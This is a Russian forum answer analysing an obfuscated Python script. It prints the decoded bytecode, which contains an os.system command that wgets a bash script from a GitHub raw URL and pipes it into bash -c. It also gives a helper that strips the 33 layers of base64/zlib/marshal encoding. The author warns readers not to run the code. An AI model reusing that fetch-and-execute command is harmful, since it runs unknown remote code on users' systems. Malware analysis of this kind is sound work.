Ответы пользователя по тегу Обфускация кода
  • Что делает этот код на Python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Вот байткод, который в итоге пытается выполнить этот кусок:
    00: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=0, argval=0, argrepr='0', offset=0, starts_line=1, is_jump_target=False)
    01: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=2, starts_line=None, is_jump_target=False)
    02: inst=Instruction(opname='IMPORT_NAME', opcode=108, arg=0, argval='os', argrepr='os', offset=4, starts_line=None, is_jump_target=False)
    03: inst=Instruction(opname='STORE_NAME', opcode=90, arg=0, argval='os', argrepr='os', offset=6, starts_line=None, is_jump_target=False)
    04: inst=Instruction(opname='SETUP_FINALLY', opcode=122, arg=8, argval=18, argrepr='to 18', offset=8, starts_line=None, is_jump_target=False)
    05: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=10, starts_line=2, is_jump_target=False)
    06: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=12, starts_line=None, is_jump_target=False)
    07: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=2, argval='clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"', argrepr='\'clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"\'', offset=14, starts_line=None, is_jump_target=False)
    08: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=16, starts_line=None, is_jump_target=False)
    09: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=18, starts_line=None, is_jump_target=True)
    10: inst=Instruction(opname='POP_BLOCK', opcode=87, arg=None, argval=None, argrepr='', offset=20, starts_line=None, is_jump_target=False)
    11: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=22, starts_line=None, is_jump_target=False)
    12: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=24, starts_line=None, is_jump_target=False)
    13: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=26, starts_line=3, is_jump_target=False)
    14: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=28, starts_line=None, is_jump_target=False)
    15: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=30, starts_line=None, is_jump_target=False)
    16: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=32, starts_line=4, is_jump_target=False)
    17: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=34, starts_line=None, is_jump_target=False)
    18: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=3, argval='clear', argrepr="'clear'", offset=36, starts_line=None, is_jump_target=False)
    19: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=38, starts_line=None, is_jump_target=False)
    20: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=40, starts_line=None, is_jump_target=False)
    21: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=2, argval='print', argrepr='print', offset=42, starts_line=5, is_jump_target=False)
    22: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=4, argval='Thanks for using Xlr8 !', argrepr="'Thanks for using Xlr8 !'", offset=44, starts_line=None, is_jump_target=False)
    23: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='', offset=46, starts_line=None, is_jump_target=False)
    24: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=48, starts_line=None, is_jump_target=False)
    25: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=3, argval='exit', argrepr='exit', offset=50, starts_line=6, is_jump_target=False)
    26: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=0, argval=0, argrepr='', offset=52, starts_line=None, is_jump_target=False)
    27: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=54, starts_line=None, is_jump_target=False)
    28: inst=Instruction(opname='POP_EXCEPT', opcode=89, arg=None, argval=None, argrepr='', offset=56, starts_line=None, is_jump_target=False)
    29: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=58, starts_line=None, is_jump_target=False)
    30: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=60, starts_line=None, is_jump_target=False)


    Видно, что скрипт пытается скачать и запустить какой-то баш-файл из сети. Сейчас уже этот урл возвращает 404, но вебархив показывает, что в январе 2023 года был сделан бэкап этой страницы.
    ВНИМАНИЕ! НЕ ЗАПУСКАЙТЕ ЭТОТ КОД. ЭТО НАВЕРНЯКА ВРЕДОНОСНАЯ ПРОГРАММА,
    ПУЬЛИКУЮ ЧИСТО ИЗ ИССЛЕДОВАТЕЛЬСКИХ СООБРАЖЕНИЙ! Если у кого есть желание, может продолжить ковырять эту историю. Может быть там оффер на вакансию в какую-нибудь серьёзную контору=).

    Вот, кстати, код, с помощью которого можно выковырять эти операции. Они рекурсивно закодированы 33 раза одним и тем же способом.
    import marshal, zlib, base64, dis
    
    
    def extract_code(b, deep=0):
        print(f'=== extract_code [{deep}]')
        code = marshal.loads(zlib.decompress(base64.b64decode(b[::-1])))
        instructions = list(dis.get_instructions(code))
        if (
            (instructions[0].opname, instructions[0].argval) == ('LOAD_NAME', 'exec')
            and instructions[1].argval == '_' and instructions[2].opname == 'LOAD_CONST'
        ):
            code2 = instructions[2].argval
            extract_code(code2, deep + 1)
        else:
            for i, inst in enumerate(instructions):
                print(f'{i:02d}: {inst=}')
    
    
    extract_code(...)
    Ответ написан
    6 комментариев